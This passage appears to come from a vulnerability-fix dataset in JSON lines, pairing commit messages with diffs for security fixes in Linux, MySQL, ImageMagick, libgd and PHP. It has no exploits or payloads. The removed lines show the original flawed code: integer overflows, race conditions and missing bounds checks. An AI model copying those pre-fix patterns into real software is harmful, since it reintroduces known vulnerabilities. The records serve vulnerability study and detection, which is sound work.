fc fc 00 00 00 00 00 00 00 00\n ffff880060a6f780: 00 00 00 00 00 00 00 00 00 00 00 fc fc fc fc fc\n>ffff880060a6f800: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n ^\n ffff880060a6f880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n ffff880060a6f900: fc fc fc fc fc fc 00 00 00 00 00 00 00 00 00 00\n==================================================================\n\nSigned-off-by: Jerome Marchand \nSigned-off-by: David Howells \ncc: stable@vger.kernel.org", "patch": "@@ -524,7 +524,9 @@ static bool assoc_array_insert_into_terminal_node(struct assoc_array_edit *edit,\n \t\t\tfree_slot = i;\n \t\t\tcontinue;\n \t\t}\n-\t\tif (ops->compare_object(assoc_array_ptr_to_leaf(ptr), index_key)) {\n+\t\tif (assoc_array_ptr_is_leaf(ptr) &&\n+\t\t ops->compare_object(assoc_array_ptr_to_leaf(ptr),\n+\t\t\t\t\tindex_key)) {\n \t\t\tpr_devel(\"replace in slot %d\\n\", i);\n \t\t\tedit->leaf_p = &node->slots[i];\n \t\t\tedit->dead_leaf = node->slots[i];", "sections": [{"section": "@@ -524,7 +524,9 @@ static bool assoc_array_insert_into_terminal_node(struct assoc_array_edit *edit,\n \t\t\tfree_slot = i;\n \t\t\tcontinue;\n \t\t}\n-\t\tif (ops->compare_object(assoc_array_ptr_to_leaf(ptr), index_key)) {\n+\t\tif (assoc_array_ptr_is_leaf(ptr) &&\n+\t\t ops->compare_object(assoc_array_ptr_to_leaf(ptr),\n+\t\t\t\t\tindex_key)) {\n \t\t\tpr_devel(\"replace in slot %d\\n\", i);\n \t\t\tedit->leaf_p = &node->slots[i];\n \t\t\tedit->dead_leaf = node->slots[i];", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/linux/mm.h", "commit_id": "19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619", "commit_message": "mm: remove gup_flags FOLL_WRITE games from __get_user_pages()\n\nThis is an ancient bug that was actually attempted to be fixed once\n(badly) by me eleven years ago in commit 4ceb5db9757a (\"Fix\nget_user_pages() race for write access\") but that was then undone due to\nproblems on s390 by commit f33ea7f404e5 (\"fix get_user_pages bug\").\n\nIn the meantime, the s390 situation has long been fixed, and we can now\nfix it by checking the pte_dirty() bit properly (and do it better). The\ns390 dirty bit was implemented in abf09bed3cce (\"s390/mm: implement\nsoftware dirty bits\") which made it into v3.9. Earlier kernels will\nhave to look at the page state itself.\n\nAlso, the VM has become more scalable, and what used a purely\ntheoretical race back then has become easier to trigger.\n\nTo fix it, we introduce a new internal FOLL_COW flag to mark the \"yes,\nwe already did a COW\" rather than play racy games with FOLL_WRITE that\nis very fundamental, and then use the pte dirty flag to validate that\nthe FOLL_COW flag is still valid.\n\nReported-and-tested-by: Phil \"not Paul\" Oester \nAcked-by: Hugh Dickins \nReviewed-by: Michal Hocko \nCc: Andy Lutomirski \nCc: Kees Cook \nCc: Oleg Nesterov \nCc: Willy Tarreau \nCc: Nick Piggin \nCc: Greg Thelen \nCc: stable@vger.kernel.org\nSigned-off-by: Linus Torvalds ", "patch": "@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,\n #define FOLL_TRIED\t0x800\t/* a retry, previous pass started an IO */\n #define FOLL_MLOCK\t0x1000\t/* lock present pages */\n #define FOLL_REMOTE\t0x2000\t/* we are working on non-current tsk/mm */\n+#define FOLL_COW\t0x4000\t/* internal GUP flag */\n \n typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,\n \t\t\tvoid *data);", "sections": [{"section": "@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,\n #define FOLL_TRIED\t0x800\t/* a retry, previous pass started an IO */\n #define FOLL_MLOCK\t0x1000\t/* lock present pages */\n #define FOLL_REMOTE\t0x2000\t/* we are working on non-current tsk/mm */\n+#define FOLL_COW\t0x4000\t/* internal GUP flag */\n \n typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,\n \t\t\tvoid *data);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/kvm/emulate.c", "commit_id": "2117d5398c81554fbf803f5fd1dc55eb78216c0c", "commit_message": "KVM: x86: drop error recovery in em_jmp_far and em_ret_far\n\nem_jmp_far and em_ret_far assumed that setting IP can only fail in 64\nbit mode, but syzkaller proved otherwise (and SDM agrees).\nCode segment was restored upon failure, but it was left uninitialized\noutside of long mode, which could lead to a leak of host kernel stack.\nWe could have fixed that by always saving and restoring the CS, but we\ntake a simpler approach and just break any guest that manages to fail\nas the error recovery is error-prone and modern CPUs don't need emulator\nfor this.\n\nFound by syzkaller:\n\n WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480\n Kernel panic - not syncing: panic_on_warn set ...\n\n CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ #49\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011\n [...]\n Call Trace:\n [...] __dump_stack lib/dump_stack.c:15\n [...] dump_stack+0xb3/0x118 lib/dump_stack.c:51\n [...] panic+0x1b7/0x3a3 kernel/panic.c:179\n [...] __warn+0x1c4/0x1e0 kernel/panic.c:542\n [...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585\n [...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217\n [...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227\n [...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294\n [...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545\n [...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116\n [...] complete_emulated_io arch/x86/kvm/x86.c:6870\n [...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934\n [...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978\n [...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557\n [...] vfs_ioctl fs/ioctl.c:43\n [...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679\n [...] SYSC_ioctl fs/ioctl.c:694\n [...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685\n [...] entry_SYSCALL_64_fastpath+0x1f/0xc2\n\nReported-by: Dmitry Vyukov \nCc: stable@vger.kernel.org\nFixes: d1442d85cc30 (\"KVM: x86: Handle errors when RIP is set during far jumps\")\nSigned-off-by: Radim Krčmář ", "patch": "@@ -2105,16 +2105,10 @@ static int em_iret(struct x86_emulate_ctxt *ctxt)\n static int em_jmp_far(struct x86_emulate_ctxt *ctxt)\n {\n \tint rc;\n-\tunsigned short sel, old_sel;\n-\tstruct desc_struct old_desc, new_desc;\n-\tconst struct x86_emulate_ops *ops = ctxt->ops;\n+\tunsigned short sel;\n+\tstruct desc_struct new_desc;\n \tu8 cpl = ctxt->ops->cpl(ctxt);\n \n-\t/* Assignment of RIP may only fail in 64-bit mode */\n-\tif (ctxt->mode == X86EMUL_MODE_PROT64)\n-\t\tops->get_segment(ctxt, &old_sel, &old_desc, NULL,\n-\t\t\t\t VCPU_SREG_CS);\n-\n \tmemcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2);\n \n \trc = __load_segment_descriptor(ctxt, sel, VCPU_SREG_CS, cpl,\n@@ -2124,12 +2118,10 @@ static int em_jmp_far(struct x86_emulate_ctxt *ctxt)\n \t\treturn rc;\n \n \trc = assign_eip_far(ctxt, ctxt->src.val, &new_desc);\n-\tif (rc != X86EMUL_CONTINUE) {\n-\t\tWARN_ON(ctxt->mode != X86EMUL_MODE_PROT64);\n-\t\t/* assigning eip failed; restore the old cs */\n-\t\tops->set_segment(ctxt, old_sel, &old_desc, 0, VCPU_SREG_CS);\n-\t\treturn rc;\n-\t}\n+\t/* Error handling is not implemented. */\n+\tif (rc != X86EMUL_CONTINUE)\n+\t\treturn X86EMUL_UNHANDLEABLE;\n+\n \treturn rc;\n }\n \n@@ -2189,14 +2181,8 @@ static int em_ret_far(struct x86_emulate_ctxt *ctxt)\n {\n \tint rc;\n \tunsigned long eip, cs;\n-\tu16 old_cs;\n \tint cpl = ctxt->ops->cpl(ctxt);\n-\tstruct desc_struct old_desc, new_desc;\n-\tconst struct x86_emulate_ops *ops = ctxt->ops;\n-\n-\tif (ctxt->mode == X86EMUL_MODE_PROT64)\n-\t\tops->get_segment(ctxt, &old_cs, &old_desc, NULL,\n-\t\t\t\t VCPU_SREG_CS);\n+\tstruct desc_struct new_desc;\n \n \trc = emulate_pop(ctxt, &eip, ctxt->op_bytes);\n \tif (rc != X86EMUL_CONTINUE)\n@@ -2213,10 +2199,10 @@ static int em_ret_far(struct x86_emulate_ctxt *ctxt)\n \tif (rc != X86EMUL_CONTINUE)\n \t\treturn rc;\n \trc = assign_eip_far(ctxt, eip, &new_desc);\n-\tif (rc != X86EMUL_CONTINUE) {\n-\t\tWARN_ON(ctxt->mode != X86EMUL_MODE_PROT64);\n-\t\tops->set_segment(ctxt, old_cs, &old_desc, 0, VCPU_SREG_CS);\n-\t}\n+\t/* Error handling is not implemented. */\n+\tif (rc != X86EMUL_CONTINUE)\n+\t\treturn X86EMUL_UNHANDLEABLE;\n+\n \treturn rc;\n }\n ", "sections": [{"section": "@@ -2105,16 +2105,10 @@ static int em_iret(struct x86_emulate_ctxt *ctxt)\n static int em_jmp_far(struct x86_emulate_ctxt *ctxt)\n {\n \tint rc;\n-\tunsigned short sel, old_sel;\n-\tstruct desc_struct old_desc, new_desc;\n-\tconst struct x86_emulate_ops *ops = ctxt->ops;\n+\tunsigned short sel;\n+\tstruct desc_struct new_desc;\n \tu8 cpl = ctxt->ops->cpl(ctxt);\n \n-\t/* Assignment of RIP may only fail in 64-bit mode */\n-\tif (ctxt->mode == X86EMUL_MODE_PROT64)\n-\t\tops->get_segment(ctxt, &old_sel, &old_desc, NULL,\n-\t\t\t\t VCPU_SREG_CS);\n-\n \tmemcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2);\n \n \trc = __load_segment_descriptor(ctxt, sel, VCPU_SREG_CS, cpl,\n", "related": true}, {"section": "@@ -2124,12 +2118,10 @@ static int em_jmp_far(struct x86_emulate_ctxt *ctxt)\n \t\treturn rc;\n \n \trc = assign_eip_far(ctxt, ctxt->src.val, &new_desc);\n-\tif (rc != X86EMUL_CONTINUE) {\n-\t\tWARN_ON(ctxt->mode != X86EMUL_MODE_PROT64);\n-\t\t/* assigning eip failed; restore the old cs */\n-\t\tops->set_segment(ctxt, old_sel, &old_desc, 0, VCPU_SREG_CS);\n-\t\treturn rc;\n-\t}\n+\t/* Error handling is not implemented. */\n+\tif (rc != X86EMUL_CONTINUE)\n+\t\treturn X86EMUL_UNHANDLEABLE;\n+\n \treturn rc;\n }\n \n", "related": true}, {"section": "@@ -2189,14 +2181,8 @@ static int em_ret_far(struct x86_emulate_ctxt *ctxt)\n {\n \tint rc;\n \tunsigned long eip, cs;\n-\tu16 old_cs;\n \tint cpl = ctxt->ops->cpl(ctxt);\n-\tstruct desc_struct old_desc, new_desc;\n-\tconst struct x86_emulate_ops *ops = ctxt->ops;\n-\n-\tif (ctxt->mode == X86EMUL_MODE_PROT64)\n-\t\tops->get_segment(ctxt, &old_cs, &old_desc, NULL,\n-\t\t\t\t VCPU_SREG_CS);\n+\tstruct desc_struct new_desc;\n \n \trc = emulate_pop(ctxt, &eip, ctxt->op_bytes);\n \tif (rc != X86EMUL_CONTINUE)\n", "related": true}, {"section": "@@ -2213,10 +2199,10 @@ static int em_ret_far(struct x86_emulate_ctxt *ctxt)\n \tif (rc != X86EMUL_CONTINUE)\n \t\treturn rc;\n \trc = assign_eip_far(ctxt, eip, &new_desc);\n-\tif (rc != X86EMUL_CONTINUE) {\n-\t\tWARN_ON(ctxt->mode != X86EMUL_MODE_PROT64);\n-\t\tops->set_segment(ctxt, old_cs, &old_desc, 0, VCPU_SREG_CS);\n-\t}\n+\t/* Error handling is not implemented. */\n+\tif (rc != X86EMUL_CONTINUE)\n+\t\treturn X86EMUL_UNHANDLEABLE;\n+\n \treturn rc;\n }\n ", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/core/pcm_lib.c", "commit_id": "3aa02cb664c5fb1042958c8d1aa8c35055a2ebc4", "commit_message": "ALSA: pcm : Call kill_fasync() in stream lock\n\nCurrently kill_fasync() is called outside the stream lock in\nsnd_pcm_period_elapsed(). This is potentially racy, since the stream\nmay get released even during the irq handler is running. Although\nsnd_pcm_release_substream() calls snd_pcm_drop(), this doesn't\nguarantee that the irq handler finishes, thus the kill_fasync() call\noutside the stream spin lock may be invoked after the substream is\ndetached, as recently reported by KASAN.\n\nAs a quick workaround, move kill_fasync() call inside the stream\nlock. The fasync is rarely used interface, so this shouldn't have a\nbig impact from the performance POV.\n\nIdeally, we should implement some sync mechanism for the proper finish\nof stream and irq handler. But this oneliner should suffice for most\ncases, so far.\n\nReported-by: Baozeng Ding \nSigned-off-by: Takashi Iwai ", "patch": "@@ -1886,8 +1886,8 @@ void snd_pcm_period_elapsed(struct snd_pcm_substream *substream)\n \t\tsnd_timer_interrupt(substream->timer, 1);\n #endif\n _end:\n-\tsnd_pcm_stream_unlock_irqrestore(substream, flags);\n \tkill_fasync(&runtime->fasync, SIGIO, POLL_IN);\n+\tsnd_pcm_stream_unlock_irqrestore(substream, flags);\n }\n \n EXPORT_SYMBOL(snd_pcm_period_elapsed);", "sections": [{"section": "@@ -1886,8 +1886,8 @@ void snd_pcm_period_elapsed(struct snd_pcm_substream *substream)\n \t\tsnd_timer_interrupt(substream->timer, 1);\n #endif\n _end:\n-\tsnd_pcm_stream_unlock_irqrestore(substream, flags);\n \tkill_fasync(&runtime->fasync, SIGIO, POLL_IN);\n+\tsnd_pcm_stream_unlock_irqrestore(substream, flags);\n }\n \n EXPORT_SYMBOL(snd_pcm_period_elapsed);", "related": false}]} +{"owner": "mysql", "repo": "mysql-server", "language": "C", "file_name": "include/myisam.h", "commit_id": "4e5473862e6852b0f3802b0cd0c6fa10b5253291", "commit_message": "Bug#24388746: PRIVILEGE ESCALATION AND RACE CONDITION USING CREATE TABLE\n\nDuring REPAIR TABLE of a MyISAM table, a temporary data file (.TMD)\nis created. When repair finishes, this file is renamed to the original\n.MYD file. The problem was that during this rename, we copied the\nstats from the old file to the new file with chmod/chown. If a user\nmanaged to replace the temporary file before chmod/chown was executed,\nit was possible to get an arbitrary file with the privileges of the\nmysql user.\n\nThis patch fixes the problem by not copying stats from the old\nfile to the new file. This is not needed as the new file was\ncreated with the correct stats. This fix only changes server\nbehavior - external utilities such as myisamchk still does\nchmod/chown.\n\nNo test case provided since the problem involves synchronization\nwith file system operations.", "patch": "@@ -1,5 +1,5 @@\n /*\n- Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.\n+ Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.\n \n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n@@ -426,12 +426,13 @@ int chk_size(MI_CHECK *param, MI_INFO *info);\n int chk_key(MI_CHECK *param, MI_INFO *info);\n int chk_data_link(MI_CHECK *param, MI_INFO *info,int extend);\n int mi_repair(MI_CHECK *param, register MI_INFO *info,\n-\t char * name, int rep_quick);\n-int mi_sort_index(MI_CHECK *param, register MI_INFO *info, char * name);\n+\t char * name, int rep_quick, my_bool no_copy_stat);\n+int mi_sort_index(MI_CHECK *param, register MI_INFO *info, char * name,\n+ my_bool no_copy_stat);\n int mi_repair_by_sort(MI_CHECK *param, register MI_INFO *info,\n-\t\t const char * name, int rep_quick);\n+\t\t const char * name, int rep_quick, my_bool no_copy_stat);\n int mi_repair_parallel(MI_CHECK *param, register MI_INFO *info,\n-\t\t const char * name, int rep_quick);\n+ const char * name, int rep_quick, my_bool no_copy_stat);\n int change_to_newfile(const char * filename, const char * old_ext,\n \t\t const char * new_ext, myf myflags);\n int lock_file(MI_CHECK *param, File file, my_off_t start, int lock_type,", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.\n+ Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.\n \n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n", "related": false}, {"section": "@@ -426,12 +426,13 @@ int chk_size(MI_CHECK *param, MI_INFO *info);\n int chk_key(MI_CHECK *param, MI_INFO *info);\n int chk_data_link(MI_CHECK *param, MI_INFO *info,int extend);\n int mi_repair(MI_CHECK *param, register MI_INFO *info,\n-\t char * name, int rep_quick);\n-int mi_sort_index(MI_CHECK *param, register MI_INFO *info, char * name);\n+\t char * name, int rep_quick, my_bool no_copy_stat);\n+int mi_sort_index(MI_CHECK *param, register MI_INFO *info, char * name,\n+ my_bool no_copy_stat);\n int mi_repair_by_sort(MI_CHECK *param, register MI_INFO *info,\n-\t\t const char * name, int rep_quick);\n+\t\t const char * name, int rep_quick, my_bool no_copy_stat);\n int mi_repair_parallel(MI_CHECK *param, register MI_INFO *info,\n-\t\t const char * name, int rep_quick);\n+ const char * name, int rep_quick, my_bool no_copy_stat);\n int change_to_newfile(const char * filename, const char * old_ext,\n \t\t const char * new_ext, myf myflags);\n int lock_file(MI_CHECK *param, File file, my_off_t start, int lock_type,", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/profile.c", "commit_id": "d8ab7f046587f2e9f734b687ba7e6e10147c294b", "commit_message": "Improve checking of EXIF profile to prevent integer overflow (bug report from Ibrahim el-sayed)", "patch": "@@ -1351,20 +1351,22 @@ static inline const unsigned char *ReadResourceByte(const unsigned char *p,\n static inline const unsigned char *ReadResourceLong(const unsigned char *p,\n unsigned int *quantum)\n {\n- *quantum=(size_t) (*p++ << 24);\n- *quantum|=(size_t) (*p++ << 16);\n- *quantum|=(size_t) (*p++ << 8);\n- *quantum|=(size_t) (*p++ << 0);\n+ *quantum=(unsigned int) (*p++) << 24;\n+ *quantum|=(unsigned int) (*p++) << 16;\n+ *quantum|=(unsigned int) (*p++) << 8;\n+ *quantum|=(unsigned int) (*p++) << 0;\n return(p);\n }\n \n static inline const unsigned char *ReadResourceShort(const unsigned char *p,\n unsigned short *quantum)\n {\n- *quantum=(unsigned short) (*p++ << 8);\n- *quantum|=(unsigned short) (*p++ << 0);\n+ *quantum=(unsigned short) (*p++) << 8;\n+ *quantum|=(unsigned short) (*p++);\n return(p);\n-}static inline void WriteResourceLong(unsigned char *p,\n+}\n+\n+static inline void WriteResourceLong(unsigned char *p,\n const unsigned int quantum)\n {\n unsigned char\n@@ -1731,13 +1733,14 @@ static inline signed short ReadProfileShort(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned short) ((buffer[1] << 8) | buffer[0]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[1] << 8;\n+ value|=(unsigned short) buffer[0];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n- value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |\n- ((unsigned char *) buffer)[1]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[0] << 8;\n+ value|=(unsigned short) buffer[1];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n \n@@ -1758,14 +1761,18 @@ static inline signed int ReadProfileLong(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |\n- (buffer[1] << 8 ) | (buffer[0]));\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[3] << 24;\n+ value|=(unsigned int) buffer[2] << 16;\n+ value|=(unsigned int) buffer[1] << 8;\n+ value|=(unsigned int) buffer[0];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n- value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |\n- (buffer[2] << 8) | buffer[3]);\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[0] << 24;\n+ value|=(unsigned int) buffer[1] << 16;\n+ value|=(unsigned int) buffer[2] << 8;\n+ value|=(unsigned int) buffer[3];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n \n@@ -2017,11 +2024,15 @@ MagickBooleanType SyncExifProfile(Image *image,StringInfo *profile)\n tag_value;\n \n q=(unsigned char *) (directory+2+(12*entry));\n+ if (q > (exif+length-12))\n+ break; /* corrupt EXIF */\n tag_value=(ssize_t) ReadProfileShort(endian,q);\n format=(ssize_t) ReadProfileShort(endian,q+2);\n if ((format-1) >= EXIF_NUM_FORMATS)\n break;\n components=(ssize_t) ReadProfileLong(endian,q+4);\n+ if (components < 0)\n+ break; /* corrupt EXIF */\n number_bytes=(size_t) components*format_bytes[format];\n if ((ssize_t) number_bytes < components)\n break; /* prevent overflow */", "sections": [{"section": "@@ -1351,20 +1351,22 @@ static inline const unsigned char *ReadResourceByte(const unsigned char *p,\n static inline const unsigned char *ReadResourceLong(const unsigned char *p,\n unsigned int *quantum)\n {\n- *quantum=(size_t) (*p++ << 24);\n- *quantum|=(size_t) (*p++ << 16);\n- *quantum|=(size_t) (*p++ << 8);\n- *quantum|=(size_t) (*p++ << 0);\n+ *quantum=(unsigned int) (*p++) << 24;\n+ *quantum|=(unsigned int) (*p++) << 16;\n+ *quantum|=(unsigned int) (*p++) << 8;\n+ *quantum|=(unsigned int) (*p++) << 0;\n return(p);\n }\n \n static inline const unsigned char *ReadResourceShort(const unsigned char *p,\n unsigned short *quantum)\n {\n- *quantum=(unsigned short) (*p++ << 8);\n- *quantum|=(unsigned short) (*p++ << 0);\n+ *quantum=(unsigned short) (*p++) << 8;\n+ *quantum|=(unsigned short) (*p++);\n return(p);\n-}static inline void WriteResourceLong(unsigned char *p,\n+}\n+\n+static inline void WriteResourceLong(unsigned char *p,\n const unsigned int quantum)\n {\n unsigned char\n", "related": true}, {"section": "@@ -1731,13 +1733,14 @@ static inline signed short ReadProfileShort(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned short) ((buffer[1] << 8) | buffer[0]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[1] << 8;\n+ value|=(unsigned short) buffer[0];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n- value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |\n- ((unsigned char *) buffer)[1]);\n- quantum.unsigned_value=(value & 0xffff);\n+ value=(unsigned short) buffer[0] << 8;\n+ value|=(unsigned short) buffer[1];\n+ quantum.unsigned_value=value & 0xffff;\n return(quantum.signed_value);\n }\n \n", "related": true}, {"section": "@@ -1758,14 +1761,18 @@ static inline signed int ReadProfileLong(const EndianType endian,\n \n if (endian == LSBEndian)\n {\n- value=(unsigned int) ((buffer[3] << 24) | (buffer[2] << 16) |\n- (buffer[1] << 8 ) | (buffer[0]));\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[3] << 24;\n+ value|=(unsigned int) buffer[2] << 16;\n+ value|=(unsigned int) buffer[1] << 8;\n+ value|=(unsigned int) buffer[0];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n- value=(unsigned int) ((buffer[0] << 24) | (buffer[1] << 16) |\n- (buffer[2] << 8) | buffer[3]);\n- quantum.unsigned_value=(value & 0xffffffff);\n+ value=(unsigned int) buffer[0] << 24;\n+ value|=(unsigned int) buffer[1] << 16;\n+ value|=(unsigned int) buffer[2] << 8;\n+ value|=(unsigned int) buffer[3];\n+ quantum.unsigned_value=value & 0xffffffff;\n return(quantum.signed_value);\n }\n \n", "related": true}, {"section": "@@ -2017,11 +2024,15 @@ MagickBooleanType SyncExifProfile(Image *image,StringInfo *profile)\n tag_value;\n \n q=(unsigned char *) (directory+2+(12*entry));\n+ if (q > (exif+length-12))\n+ break; /* corrupt EXIF */\n tag_value=(ssize_t) ReadProfileShort(endian,q);\n format=(ssize_t) ReadProfileShort(endian,q+2);\n if ((format-1) >= EXIF_NUM_FORMATS)\n break;\n components=(ssize_t) ReadProfileLong(endian,q+4);\n+ if (components < 0)\n+ break; /* corrupt EXIF */\n number_bytes=(size_t) components*format_bytes[format];\n if ((ssize_t) number_bytes < components)\n break; /* prevent overflow */", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/arm64/kernel/sys.c", "commit_id": "c623b33b4e9599c6ac5076f7db7369eb9869aa04", "commit_message": "arm64: make sys_call_table const\n\nAs with x86, mark the sys_call_table const such that it will be placed\nin the .rodata section. This will cause attempts to modify the table\n(accidental or deliberate) to fail when strict page permissions are in\nplace. In the absence of strict page permissions, there should be no\nfunctional change.\n\nSigned-off-by: Mark Rutland \nAcked-by: Will Deacon \nSigned-off-by: Catalin Marinas ", "patch": "@@ -49,7 +49,7 @@ asmlinkage long sys_rt_sigreturn_wrapper(void);\n * The sys_call_table array must be 4K aligned to be accessible from\n * kernel/entry.S.\n */\n-void *sys_call_table[__NR_syscalls] __aligned(4096) = {\n+void * const sys_call_table[__NR_syscalls] __aligned(4096) = {\n \t[0 ... __NR_syscalls - 1] = sys_ni_syscall,\n #include \n };", "sections": [{"section": "@@ -49,7 +49,7 @@ asmlinkage long sys_rt_sigreturn_wrapper(void);\n * The sys_call_table array must be 4K aligned to be accessible from\n * kernel/entry.S.\n */\n-void *sys_call_table[__NR_syscalls] __aligned(4096) = {\n+void * const sys_call_table[__NR_syscalls] __aligned(4096) = {\n \t[0 ... __NR_syscalls - 1] = sys_ni_syscall,\n #include \n };", "related": false}]} +{"owner": "libgd", "repo": "libgd", "language": "C", "file_name": "tests/gdimagecreate/bug00340.c", "commit_id": "1846f48e5fcdde996e7c27a4bbac5d0aef183e4b", "commit_message": "Fix #340: System frozen\n\ngdImageCreate() doesn't check for oversized images and as such is prone\nto DoS vulnerabilities. We fix that by applying the same overflow check\nthat is already in place for gdImageCreateTrueColor().\n\nCVE-2016-9317", "patch": "@@ -0,0 +1,33 @@\n+/**\r\n+ * Regression test for \r\n+ *\r\n+ * We're testing that trying to create an oversized image fails early,\r\n+ * triggering an appropriate warning.\r\n+ */\r\n+\r\n+\r\n+#include \r\n+#include \"gd.h\"\r\n+#include \"gd_errors.h\"\r\n+#include \"gdtest.h\"\r\n+\r\n+\r\n+#define MSG \"product of memory allocation multiplication would exceed INT_MAX, failing operation gracefully\\n\"\r\n+\r\n+\r\n+void error_handler(int priority, const char *format, ...)\r\n+{\r\n+ gdTestAssert(priority == GD_WARNING);\r\n+ gdTestAssert(!strcmp(format, MSG));\r\n+}\r\n+\r\n+\r\n+int main()\r\n+{\r\n+ gdImagePtr im;\r\n+\r\n+ im = gdImageCreate(64970, 65111);\r\n+ gdTestAssert(im == NULL);\r\n+\r\n+ return gdNumFailures();\r\n+}\r", "sections": [{"section": "@@ -0,0 +1,33 @@\n+/**\r\n+ * Regression test for \r\n+ *\r\n+ * We're testing that trying to create an oversized image fails early,\r\n+ * triggering an appropriate warning.\r\n+ */\r\n+\r\n+\r\n+#include \r\n+#include \"gd.h\"\r\n+#include \"gd_errors.h\"\r\n+#include \"gdtest.h\"\r\n+\r\n+\r\n+#define MSG \"product of memory allocation multiplication would exceed INT_MAX, failing operation gracefully\\n\"\r\n+\r\n+\r\n+void error_handler(int priority, const char *format, ...)\r\n+{\r\n+ gdTestAssert(priority == GD_WARNING);\r\n+ gdTestAssert(!strcmp(format, MSG));\r\n+}\r\n+\r\n+\r\n+int main()\r\n+{\r\n+ gdImagePtr im;\r\n+\r\n+ im = gdImageCreate(64970, 65111);\r\n+ gdTestAssert(im == NULL);\r\n+\r\n+ return gdNumFailures();\r\n+}\r", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "ext/phar/phar.c", "commit_id": "ca46d0acbce55019b970fcd4c1e8a10edfdded93", "commit_message": "Fix int overflows in phar (bug #73764)", "patch": "@@ -1055,7 +1055,7 @@ static int phar_parse_pharfile(php_stream *fp, char *fname, int fname_len, char\n \tentry.is_persistent = mydata->is_persistent;\n \n \tfor (manifest_index = 0; manifest_index < manifest_count; ++manifest_index) {\n-\t\tif (buffer + 4 > endbuffer) {\n+\t\tif (buffer + 24 > endbuffer) {\n \t\t\tMAPPHAR_FAIL(\"internal corruption of phar \\\"%s\\\" (truncated manifest entry)\")\n \t\t}\n \n@@ -1069,7 +1069,7 @@ static int phar_parse_pharfile(php_stream *fp, char *fname, int fname_len, char\n \t\t\tentry.manifest_pos = manifest_index;\n \t\t}\n \n-\t\tif (entry.filename_len + 20 > endbuffer - buffer) {\n+\t\tif (entry.filename_len > endbuffer - buffer - 20) {\n \t\t\tMAPPHAR_FAIL(\"internal corruption of phar \\\"%s\\\" (truncated manifest entry)\");\n \t\t}\n ", "sections": [{"section": "@@ -1055,7 +1055,7 @@ static int phar_parse_pharfile(php_stream *fp, char *fname, int fname_len, char\n \tentry.is_persistent = mydata->is_persistent;\n \n \tfor (manifest_index = 0; manifest_index < manifest_count; ++manifest_index) {\n-\t\tif (buffer + 4 > endbuffer) {\n+\t\tif (buffer + 24 > endbuffer) {\n \t\t\tMAPPHAR_FAIL(\"internal corruption of phar \\\"%s\\\" (truncated manifest entry)\")\n \t\t}\n \n", "related": false}, {"section": "@@ -1069,7 +1069,7 @@ static int phar_parse_pharfile(php_stream *fp, char *fname, int fname_len, char\n \t\t\tentry.manifest_pos = manifest_index;\n \t\t}\n \n-\t\tif 